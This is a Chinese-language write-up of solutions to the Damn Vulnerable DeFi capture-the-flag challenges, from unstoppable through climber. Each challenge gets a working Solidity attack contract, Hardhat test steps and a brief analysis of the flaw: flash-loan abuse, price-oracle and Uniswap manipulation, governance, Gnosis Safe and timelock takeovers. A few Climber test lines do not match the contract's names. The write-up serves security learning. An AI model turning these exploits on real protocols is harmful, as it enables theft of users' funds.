一些題解
unstoppable#
題解
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
await this.token.transfer(this.pool.address, 1);
});
分析
falshLoan() 中存在assert(poolBalance == balanceBefore);
那麼只需要不通過deposit()而向pool轉帳從而使assert不滿足條件即可。
truster#
題解
攻擊合約:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./TrusterLenderPool.sol";
interface Token {
function approve(address spender, uint256 amount) external returns (bool);
}
contract TrusterExploit {
function getApprove(
address spender,
uint256 amount
) public returns (bytes memory) {
bytes memory data = abi.encodeWithSelector(
Token.approve.selector,
spender,
amount
);
return data;
}
function DOflashLoan(
TrusterLenderPool pool,
uint256 amount,
address borrower,
address target,
address player
) public {
bytes memory data = getApprove(player, amount);
pool.flashLoan(0, borrower, target, data);
}
}
然後在 js 執行另外的操作:
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
/*const data = web3.eth.abi.encodeFunctionCall(
{
name: 'approve',
type: 'function',
inputs: [
{
type: 'address',
name: 'spender'
},
{
type: 'uint256',
name: 'amount'
}
]
}, [player.address, TOKENS_IN_POOL]
)*/
[deployer, player] = await ethers.getSigners();
exploit = await (await ethers.getContractFactory('TrusterExploit', deployer)).deploy();
await exploit.DOflashLoan(pool.address, TOKENS_IN_POOL, player.address, token.address, player.address);
await token.connect(player).transferFrom(pool.address, player.address, TOKENS_IN_POOL);
});
分析
構造 data 調用 token 合約的 approve () 函數為自己添加等於 TOKEN_IN_POOL 的許可,然後執行 flashLoan 借走 0 塊錢,最後再執行 token 合約的 transferFrom 合約轉走錢即可
naive-receiver#
題解
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const ETH = await pool.ETH();
for (let i = 0; i < 10; i++) {
await pool.flashLoan(receiver.address, ETH, 0, "0x");
}
});
分析
因為每進行一次借貸都會消耗 1ETH,所以讓 receiver 進行十次借貸就行了
side-entrance#
題解
攻擊合約
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./SideEntranceLenderPool.sol";
contract FlashLoanEtherReceiverMock {
SideEntranceLenderPool pool;
constructor(address ipool) public {
pool = SideEntranceLenderPool(ipool);
}
function exploit() external payable {
pool.flashLoan(address(pool).balance);
pool.withdraw();
payable(msg.sender).transfer(address(this).balance);
}
function execute() external payable {
pool.deposit{value: address(this).balance}();
}
receive() external payable {}
}
執行操作
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
let attacker = await (await ethers.getContractFactory('FlashLoanEtherReceiverMock', player)).deploy(pool.address);
await attacker.connect(player).exploit();
});
分析:
執行 falsnLoan () 後執行 excute (),將借出來的錢存入 pool 中自己的賬戶,但因為確實 pool 中有那麼多錢,所以繞過了 if (address(this).balance < balanceBefore) revert RepayFailed(); 的檢查。之後就可以調用 withdraw () 進行取款並將錢轉給自己。
the-rewarder#
題解
攻擊合約
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../DamnValuableToken.sol";
import "./FlashLoanerPool.sol";
//import "./RewardToken.sol"; //不知道為什麼import會報錯已存在相同定義,但是注釋後無妨能用
import "./TheRewarderPool.sol";
contract DearSuspect {
DamnValuableToken liquidToken;
RewardToken rewardToken;
FlashLoanerPool flashloanPool;
TheRewarderPool rewardPool;
constructor(
address _liquidityToken,
address _rewardToken,
address _flashLoanerPool,
address _theRewarderPool
) {
liquidToken = DamnValuableToken(_liquidityToken);
rewardToken = RewardToken(_rewardToken);
flashloanPool = FlashLoanerPool(_flashLoanerPool);
rewardPool = TheRewarderPool(_theRewarderPool);
}
function exploit() public {
uint256 amount = liquidToken.balanceOf(address(flashloanPool));
flashloanPool.flashLoan(amount);
rewardToken.transfer(msg.sender, rewardToken.balanceOf(address(this)));
}
function receiveFlashLoan(uint256 amount) external {
liquidToken.approve(address(rewardPool), amount);
rewardPool.deposit(amount);
rewardPool.withdraw(amount);
liquidToken.transfer(address(flashloanPool), amount);
} //執行閃貸後的操作
fallback() external payable {}
}
執行操作
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days 尤其注意這裡,需要將鏈的時間通過這個操作增加五天,否則無法成功
let suspectFactory = await ethers.getContractFactory('DearSuspect', deployer);
let suspect = await suspectFactory.deploy(liquidityToken.address, rewardToken.address, flashLoanPool.address, rewarderPool.address);
await suspect.connect(player).exploit();
});
分析:
在 TheRewardPool 合約中liquidityToken 是真正的 token,accToken是進行邏輯運算的 token,rewardToken就是獎勵。
獎勵的計算方式是:rewards = amountDeposited.mulDiv(REWARDS, totalDeposits);,沒有找到 mulDiv 函數的具體代碼,但從名字上來看它的功能是乘除,嘗試一下用 pool 中的全部資金進行計算通過。
selfie#
題解
攻擊合約
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ISimpleGovernance.sol";
import "./SimpleGovernance.sol";
import "./SelfiePool.sol";
import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
interface IERC20Snapshot is IERC20 {
function snapshot() external returns (uint256 lastSnapshotId);
}
contract suspect {
SelfiePool public immutable pool;
SimpleGovernance public governance;
IERC20Snapshot public immutable token;
address public immutable owner;
IERC3156FlashBorrower public borrower;
uint256 amount;
constructor(address _pool, address _governance, address _token) {
pool = SelfiePool(_pool);
governance = SimpleGovernance(_governance);
token = IERC20Snapshot(_token);
owner = msg.sender;
borrower = IERC3156FlashBorrower(address(this));
}
function attack() public {
amount = token.balanceOf(address(pool));
pool.flashLoan(borrower, address(token), amount, "0x111");
}
function onFlashLoan(
address,
address,
uint256,
uint256,
bytes calldata
) public returns (bytes32) {
require(msg.sender == address(pool), "not pool");
require(tx.origin == owner, "not owner");
token.snapshot();
bytes memory data = abi.encodeWithSignature(
"emergencyExit(address)",
owner
);
governance.queueAction(address(pool), 0, data);
token.approve(address(pool), amount);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
}
執行操作
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
this.suspect = await (await ethers.getContractFactory("suspect", player)).deploy(pool.address, governance.address, token.address);
await this.suspect.attack();
const ACTION_DELAY = 2 * 24 * 60 * 60 + 1;
await time.increase(ACTION_DELAY); // to deal with the question :uint256 private constant ACTION_DELAY_IN_SECONDS = 2 days; in SimpleGovernance.sol
await governance.connect(player).executeAction(1); // queue and execute action
});
分析:
題目明示 governance 會有問題,又在 pool 提供了閃貸和 emergencyExit, 直接幹就行了
compromised#
題解
執行操作:
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
// 輸入的十六進制字符串
const hexString1 = "4d48686a4e6a63345a575978595745304e545a6b59545931597a5a6d597a55344e6a466b4e4451344f544a6a5a475a68597a426a4e6d4d34597a49314e6a42695a6a426a4f575a69593252685a544a6d4e44637a4e574535";
const hexString2 = "4d4867794d4467794e444a6a4e4442685932526d59546c6c5a4467344f5755324f44566a4d6a4d314e44646859324a6c5a446c695a575a6a4e6a417a4e7a466c4f5467334e575a69593251334d7a597a4e444269596a5134";
// 將十六進制字符串轉換為字節數組
const byteArray1 = hexString1.match(/.{1,2}/g).map(byte => parseInt(byte, 16));
const byteArray2 = hexString2.match(/.{1,2}/g).map(byte => parseInt(byte, 16));
// 將字節數組解碼為UTF-8文本
const base64Text1 = Buffer.from(byteArray1).toString('utf-8');
const base64Text2 = Buffer.from(byteArray2).toString('utf-8');
// 將base64文本解碼為UTF-8文本
const privateKey_one = Buffer.from(base64Text1, 'base64').toString('utf-8');
const privateKey_two = Buffer.from(base64Text2, 'base64').toString('utf-8');
// 連接錢包進行報價
const wallet_1 = new ethers.Wallet(privateKey_one, ethers.provider);
const wallet_2 = new ethers.Wallet(privateKey_two, ethers.provider);
await oracle.connect(wallet_1).postPrice('DVNFT', 1); // 因為buy中要求msg.value != 0,所以這裡就不報價為0了
await oracle.connect(wallet_2).postPrice('DVNFT', 1);
await exchange.connect(player).buyOne({ value: 1 });
// 更改報價,進行賣出操作
await oracle.connect(wallet_1).postPrice('DVNFT', INITIAL_NFT_PRICE + BigInt(1));
await oracle.connect(wallet_2).postPrice('DVNFT', INITIAL_NFT_PRICE + BigInt(1));
await nftToken.connect(player).approve(exchange.address, 0);
await exchange.connect(player).sellOne(0);
// 改回報價
await oracle.connect(wallet_1).postPrice('DVNFT', INITIAL_NFT_PRICE);
await oracle.connect(wallet_2).postPrice('DVNFT', INITIAL_NFT_PRICE);
/*
經嘗試,必須用兩個賬戶進行報價,否則無法成功,會在buyOne()報錯:reverted with custom error 'InvalidPayment()';
原因是TrustfulOracle中要求uint256[] memory prices = getAllPricesForSymbol(symbol);
*/
});
puppet#
題解
合約:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "hardhat/console.sol";
/*
Interaface code:
@private
@constant
def getInputPrice(input_amount: uint256, input_reserve: uint256, output_reserve: uint256) -> uint256:
assert input_reserve > 0 and output_reserve > 0
input_amount_with_fee: uint256 = input_amount * 997
numerator: uint256 = input_amount_with_fee * output_reserve
denominator: uint256 = (input_reserve * 1000) + input_amount_with_fee
return numerator / denominator
@private
def tokenToEthInput(tokens_sold: uint256, min_eth: uint256(wei), deadline: timestamp, buyer: address, recipient: address) -> uint256(wei):
assert deadline >= block.timestamp and (tokens_sold > 0 and min_eth > 0)
token_reserve: uint256 = self.token.balanceOf(self)
eth_bought: uint256 = self.getInputPrice(tokens_sold, token_reserve, as_unitless_number(self.balance))
wei_bought: uint256(wei) = as_wei_value(eth_bought, 'wei')
assert wei_bought >= min_eth
send(recipient, wei_bought)
assert self.token.transferFrom(buyer, self, tokens_sold)
log.EthPurchase(buyer, tokens_sold, wei_bought)
return wei_bought
*/
interface IUniswapExchangeV1 {
function tokenToEthTransferInput(
uint256 tokens_sold,
uint256 min_eth,
uint256 deadline,
address recipient
) external returns (uint256);
}
interface IPool {
function borrow(uint256 amount, address recipient) external payable;
}
contract PuppetPoolExploit {
/*
In before_setting:
const UNISWAP_INITIAL_TOKEN_RESERVE = 10n * 10n ** 18n;
const UNISWAP_INITIAL_ETH_RESERVE = 10n * 10n ** 18n;
const PLAYER_INITIAL_TOKEN_BALANCE = 1000n * 10n ** 18n;
const PLAYER_INITIAL_ETH_BALANCE = 25n * 10n ** 18n;
const POOL_INITIAL_TOKEN_BALANCE = 100000n * 10n ** 18n;
*/
uint256 immutable SELL_DVT_AMOUNT = 1000 ether;
uint256 immutable DEPOSIT_FACTOR = 2;
uint256 immutable BORROW_DVT_AMOUNT = 100000 ether;
IUniswapExchangeV1 immutable UniExchange;
IERC20 immutable token;
IPool immutable pool;
address immutable player;
/*
Basic information in PupetPool.sol:
uint256 public constant DEPOSIT_FACTOR = 2;
address public immutable uniswapPair;
DamnValuableToken public immutable token;
*/
constructor(address _token, address _pair, address _pool) {
token = IERC20(_token);
pool = IPool(_pool);
UniExchange = IUniswapExchangeV1(_pair);
player = msg.sender;
}
function exploit() external payable {
require(msg.sender == player);
// Dump DVT to the Uniswap Pool
token.approve(address(UniExchange), SELL_DVT_AMOUNT);
UniExchange.tokenToEthTransferInput(
SELL_DVT_AMOUNT,
9,
block.timestamp,
address(this)
);
// Calculate and return callatrral
uint256 price = (address(UniExchange).balance * (10 ** 18)) /
token.balanceOf(address(UniExchange));
uint256 depositRequired = (BORROW_DVT_AMOUNT * price * DEPOSIT_FACTOR) /
10 ** 18;
//這部分代碼用於輸出調試信息
console.log("contract ETH balance:", address(this).balance);
console.log("DVT price:", price);
console.log("Deposit Required:", depositRequired);
pool.borrow{value: depositRequired}(BORROW_DVT_AMOUNT, player);
}
receive() external payable {}
}
執行操作
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
[, , this.anotherPlayer] = await ethers.getSigners();
const PuppetExploitFactory = await ethers.getContractFactory('PuppetPoolExploit', this.anotherPlayer);
this.PuppetExploit = await PuppetExploitFactory.deploy(
token.address,
uniswapExchange.address,
lendingPool.address
);
token.connect(player).transfer(this.PuppetExploit.address, PLAYER_INITIAL_TOKEN_BALANCE);
await this.PuppetExploit.exploit({ value: 11n * 10n ** 18n });
await token.connect(this.anotherPlayer).transfer(player.address, await token.balanceOf(this.anotherPlayer.address));
});
分析
本題設計到一個 uniswapV1 的漏洞,因為題目合約的報價完全依賴於 uniswapPair ,所以我們可以針對一個 uniswapPair 實例存入我們的 PLAYER_INITIAL_TOKEN_BALANCE , 這會使得價格被瞬間破壞,之後只需執行 borrow 即可。
puppet-v2#
攻擊合約:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "hardhat/console.sol";
interface IUniswapV2Pouter {
function WETH() external pure returns (address);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
/**
* @title
* @author
* @notice
* The key function from UniswapV2 which was contain in Pool:
*
* address public immutable override WETH;
*
* function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external override ensure(deadline) returns (uint[] memory amounts) {
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]);
_swap(amounts, path, to);
}
*/
interface IWETH is IERC20 {
function deposit() external payable;
}
interface IPool {
function borrow(uint256 borrowAmount) external;
function calculateDepositOfWETHRequired(
uint256 tokenAmount
) external view returns (uint256);
}
/**
* The basic setting of the challenge:
const UNISWAP_INITIAL_TOKEN_RESERVE = 100n * 10n ** 18n;
const UNISWAP_INITIAL_WETH_RESERVE = 10n * 10n ** 18n;
const PLAYER_INITIAL_TOKEN_BALANCE = 10000n * 10n ** 18n;
const PLAYER_INITIAL_ETH_BALANCE = 20n * 10n ** 18n;
const POOL_INITIAL_TOKEN_BALANCE = 1000000n * 10n ** 18n;
*/
contract PuppetV2Exploit {
uint256 immutable DUMP_DVT_AMOUNT = 10000 ether;
uint256 immutable BORROW_DVT_AMOUNT = 1000000 ether;
IUniswapV2Pouter immutable router;
IWETH immutable weth;
IPool immutable pool;
IERC20 immutable token;
address immutable player;
constructor(address _router, address _pool, address _token) {
router = IUniswapV2Pouter(_router);
pool = IPool(_pool);
token = IERC20(_token);
weth = IWETH(router.WETH());
player = msg.sender;
}
function exploit() external payable {
require(msg.sender == player);
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(weth);
token.approve(address(router), DUMP_DVT_AMOUNT);
router.swapExactTokensForTokens(
DUMP_DVT_AMOUNT,
9 ether,
path,
address(this),
block.timestamp
);
//convert ETH to wrapped
weth.deposit{value: address(this).balance}();
//calculate the amount
uint256 RequiredWeth = pool.calculateDepositOfWETHRequired(
BORROW_DVT_AMOUNT
);
console.log("contract WETH balance:", weth.balanceOf(address(this)));
console.log("Required WETH:", RequiredWeth);
//Approve and borrow
weth.approve(address(pool), weth.balanceOf(address(this)));
pool.borrow(BORROW_DVT_AMOUNT);
//transfer all DVT and WETH
token.transfer(player, token.balanceOf(address(this)));
weth.transfer(player, weth.balanceOf(address(this)));
}
receive() external payable {}
}
執行操作
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const PuppetV2ExploitFactory = await ethers.getContractFactory('PuppetV2Exploit', player);
this.PuppetV2Exploit = await PuppetV2ExploitFactory.deploy(
uniswapRouter.address,
lendingPool.address,
token.address
);
await token.connect(player).transfer(this.PuppetV2Exploit.address, PLAYER_INITIAL_TOKEN_BALANCE);
await this.PuppetV2Exploit.exploit({ value: PLAYER_INITIAL_ETH_BALANCE - 4n * 10n ** 17n });
});
分析
這題和上一題一樣,都需要去查 uniswap 的源代碼,找到相應函數去 swap 代幣以破壞價格,然後就可以 borrow 池子裡全部的 DVT
free-rider#
攻擊合約
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
interface IMarketplace {
function buyMany(uint256[] calldata tokenIds) external payable;
}
contract AttackFreeRider {
IUniswapV2Pair private immutable pair;
IMarketplace private immutable marketplace;
IWETH private immutable weth;
IERC721 private immutable nft;
address private immutable recoveryContract;
address private immutable player;
uint256 private constant NFT_PRICE = 15 ether;
uint256[] private tokens = [0, 1, 2, 3, 4, 5];
constructor(
address _pair,
address _marketplace,
address _weth,
address _nft,
address _recoveryContract
) {
pair = IUniswapV2Pair(_pair);
marketplace = IMarketplace(_marketplace);
weth = IWETH(_weth);
nft = IERC721(_nft);
recoveryContract = _recoveryContract;
player = msg.sender;
}
function attack() external payable {
// 1. Request a flashSwap of 15 WETH from Uniswap Pair
bytes memory data = abi.encode(NFT_PRICE);
pair.swap(NFT_PRICE, 0, address(this), data);
}
function uniswapV2Call(
address sender,
uint amount0,
uint amount1,
bytes calldata data
) external {
// Access Control
require(msg.sender == address(pair));
require(tx.origin == player);
// Unwrap WETH to native ETH
weth.withdraw(NFT_PRICE);
// Buy all NFTS for only 15 ETH total
marketplace.buyMany{value: NFT_PRICE}(tokens);
// Pay back 15WETH + 0.3% to the pair contract
uint256 amountToPayBack = (NFT_PRICE * 1004) / 1000;
weth.deposit{value: amountToPayBack}();
weth.transfer(address(pair), amountToPayBack);
// Send NFTs to recovery contract so we can get the bounty
bytes memory data = abi.encode(player);
for (uint256 i; i < tokens.length; i++) {
nft.safeTransferFrom(address(this), recoveryContract, i, data);
}
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) external pure returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
receive() external payable {}
}
執行操作
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const FreeRiderAttacker = await ethers.getContractFactory("AttackFreeRider", player);
this.attackerContract = await FreeRiderAttacker.deploy(
uniswapPair.address, marketplace.address, weth.address,
nft.address, devsContract.address
);
await this.attackerContract.attack({ value: ethers.utils.parseEther("0.045") });
});
分析
FreRiderNFTMarketplace 中存在如下漏洞:
1. 合約中的 msg.value 驗證存在問題,_buyOne 函數檢查用戶是否支付了足夠的 ETH 來購買 NFT,但存在邏輯錯誤。買家可以通過使用 buyMany 功能購買所有 NFT,同時只支付一個 NFT,這一點 msg.value 保持不變。
- ETH 被發送給 NFT 買家而不是賣家。發生這種情況是因為 NFT 在發送 ETH 之前被轉移,導致退款給買家。
問題是我們在最開始只有 0.1ETH,一個 NFT 都買不到,那麼就需要通過閃貸來達成目的。
流程大約是:
借錢 =》 將借到的WETH unwrap為ETH =》 利用_buyOne中的漏洞調用buyMany獲得所有NFT =》由於第二個錯誤,得到所有ETH和NFT =》 還錢,並將NFT發送到Recovery合約
Bakcdoor#
攻擊合約
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../backdoor/WalletRegistry.sol";
interface IGnosisFactory {
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) external returns (GnosisSafeProxy proxy);
}
contract MaliciousApprove {
function approve(address attacker, IERC20 token) public {
token.approve(attacker, type(uint256).max);
}
}
contract AttackBackdoor {
WalletRegistry private immutable walletRegistry;
IGnosisFactory private immutable factory;
GnosisSafe private immutable masterCopy;
IERC20 private immutable token;
MaliciousApprove private immutable maliciousApprove;
constructor(address _walletRegistry, address[] memory users) {
// Set state variables
walletRegistry = WalletRegistry(_walletRegistry);
masterCopy = GnosisSafe(payable(walletRegistry.masterCopy()));
factory = IGnosisFactory(walletRegistry.walletFactory());
token = IERC20(walletRegistry.token());
// Deploy malicious backdoor for approve
maliciousApprove = new MaliciousApprove();
// Create a new safe through the factory for every user
bytes memory initializer;
address[] memory owners = new address[](1);
address wallet;
for (uint256 i; i < users.length; i++) {
owners[0] = users[i];
initializer = abi.encodeCall(
GnosisSafe.setup,
(
owners,
1,
address(maliciousApprove),
abi.encodeCall(
maliciousApprove.approve,
(address(this), token)
),
address(0),
address(0),
0,
payable(address(0))
)
);
wallet = address(
factory.createProxyWithCallback(
address(masterCopy),
initializer,
0,
walletRegistry
)
);
token.transferFrom(wallet, msg.sender, token.balanceOf(wallet));
}
}
}
執行操作
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const AttackBackdoor = await ethers.getContractFactory("AttackBackdoor", player);
this.attackerContract = await AttackBackdoor.deploy(walletRegistry.address, users)
});
分析
GnosisSafe.sol 中的 function setup 有如下的參數:
_owners: 安全所有者列表
_threshold: 安全交易所需的確認次數
to: 代表呼叫的可選合同地址
data: 代理調用的數據
fallbackHandler: 用於調用合約的回退處理程序
paymentToken: 支付令牌(0 表示 ETH 或特定令牌)
payment: 付款金額
paymentReceiver:應接收付款的地址
其中 data 和 fallbackHandler 可以被利用, 而 IGnosisFactory 中的 function createProxyWithCallback 可以用於生成一個新的代理錢包
攻擊有如下步驟:
1. 部署惡意合約,並觸發 Gnosis Safe Factory 合約,執行 createProxyWithCallback 函數。
2. 創建 Gnosis 安全代理:用工廠部署一個新的 Gnosis Safe 代理,指向 masterCopy 實現。
3. 執行惡意模塊:使 setup 功能在新代理中自動執行,允許合約中的 MaliciousApprove 惡意模塊批准攻擊合約代表新的安全代理管理 DVT。
4. 回調執行:激活回調函數,調用 WalletRegistry ,執行一系列驗證和檢查。
5. 轉移DVT:所有檢查都已通過,通過 WalletRegistry 將 DVT 轉移到安全代理。
6. 盜取令牌:執行 transferFrom 從保險箱中竊取 DVT 代幣。
Climber#
攻擊合約
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "./ClimberTimelock.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./ClimberVault.sol";
contract attack6 is UUPSUpgradeable{
ClimberTimelock immutable timelock;
address immutable vaultProxyAddress;
IERC20 immutable token;
address immutable attacker;
constructor(ClimberTimelock _timelock,address _vaultProxyAddress,IERC20 _token){
timelock=_timelock;
vaultProxyAddress = _vaultProxyAddress;
token = _token;
attacker = msg.sender;
}
function buildProposal() internal returns(address[]memory,uint256[]memory,bytes[]memory){
address[] memory targets= new address[](5);
uint256[] memory values =new uint256[](5);
bytes[] memory dataElements=new bytes[](5);
//升級delay為0
targets[0]=address(timelock);
values[0]=0;
dataElements[0]=abi.encodeWithSelector(ClimberTimelock.updateDelay.selector,0);
//給合約proposer角色
targets[1]=address(timelock);
values[1]=0;
dataElements[1]=abi.encodeWithSelector(AccessControl.grantRole.selector,timelock.PROPOSER_ROLE(),address(this));
//進行schedule
targets[2]=address(this);
values[2]=0;
dataElements[2] = abi.encodeWithSelector(
attack6.scheduleProposal.selector
);
//升級climbervault,替換掉裡面sweepFunds函數
targets[3]=address(vaultProxyAddress);
values[3]=0;
dataElements[3]=abi.encodeWithSelector(UUPSUpgradeable.upgradeTo.selector,address(this));
//把錢換過來
targets[4]=address(vaultProxyAddress);
values[4]=0;
dataElements[4]=abi.encodeWithSelector(attack6.sweepFunds.selector);
return (targets,values,dataElements);
}
function scheduleProposal()external {
(
address[] memory targets,
uint256[] memory values,
bytes[] memory dataElements
) = buildProposal();
timelock.schedule(targets, values, dataElements, 0);
}
function executeProposal() external {
(
address[] memory targets,
uint256[] memory values,
bytes[] memory dataElements
) = buildProposal();
timelock.execute(targets, values, dataElements, 0);
}
function sweepFunds()external {
token.transfer(attacker,token.balanceOf(address(this)));
}
function _authorizeUpgrade(address newImplementation) internal override {}
}
執行操作
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
this.attack = await (await ethers.getContractFactory("attack", attacker)).deploy(this.timelock.address, this.vault.address, this.token.address);
await this.attack.connect(attacker).excuteProposal();
});
分析
攻擊步驟:
1. 讓 delay 變為 0
2. 給攻擊合約 proposer 權限
3. 升級 climbervalut 合約覆蓋掉 sweepfunds 方法
4. 執行 sweepfunds 把錢拿過來
並且在 execute 之前需要 schedule